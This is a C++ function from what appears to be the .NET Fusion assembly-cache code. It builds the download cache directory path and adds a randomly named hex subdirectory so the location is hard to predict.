HRESULT SetDownLoadDir() { HRESULT hr = S_OK; LPWSTR pszCacheLoc = NULL; if(FAILED(hr = GetCacheLoc(ASM_CACHE_DOWNLOAD, &pszCacheLoc))) goto exit; if( (lstrlen(pszCacheLoc) + lstrlen(FUSION_CACHE_DIR_DOWNLOADED_SZ)) > MAX_PATH ) { hr = HRESULT_FROM_WIN32(FUSION_E_INVALID_NAME); goto exit; } StrCpy(g_DownloadDir, pszCacheLoc); PathRemoveBackslash(g_DownloadDir); StrCat(g_DownloadDir, FUSION_CACHE_DIR_DOWNLOADED_SZ); PathAddBackslash(g_DownloadDir); #define DOWNLOAD_CACHE_OBFUSCATION_LENGTH 16 WIN32_FIND_DATA findData; WCHAR wzPath[MAX_PATH]; HANDLE hFind; BOOL bFoundObfuscated; if (lstrlenW(g_DownloadDir) + (DOWNLOAD_CACHE_OBFUSCATION_LENGTH * 2) + 1 >= MAX_PATH) { hr = HRESULT_FROM_WIN32(ERROR_BUFFER_OVERFLOW); goto exit; } bFoundObfuscated = FALSE; memset(&findData, 0, sizeof(findData)); wnsprintfW(wzPath, MAX_PATH, L"%ws*.*", g_DownloadDir); hFind = FindFirstFile(wzPath, &findData); if (hFind != INVALID_HANDLE_VALUE) { do { if (!lstrcmpW(findData.cFileName, L".") || !lstrcmpW(findData.cFileName, L"..")) { continue; } if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { lstrcatW(g_DownloadDir, findData.cFileName); bFoundObfuscated = TRUE; break; } } while (FindNextFile(hFind, &findData)); FindClose(hFind); } if (!bFoundObfuscated) { WCHAR wzRandom[(DOWNLOAD_CACHE_OBFUSCATION_LENGTH * 2) + 1]; BYTE bBuffer[DOWNLOAD_CACHE_OBFUSCATION_LENGTH]; if (!PAL_Random(FALSE, bBuffer, DOWNLOAD_CACHE_OBFUSCATION_LENGTH)) { hr = HRESULT_FROM_WIN32(GetLastError()); goto exit; } wzRandom[0] = L'\0'; CParseUtils::BinToUnicodeHex(bBuffer, DOWNLOAD_CACHE_OBFUSCATION_LENGTH, wzRandom); lstrcatW(g_DownloadDir, wzRandom); } // StrCat(g_DownloadDir, szCorVer); exit : return hr; }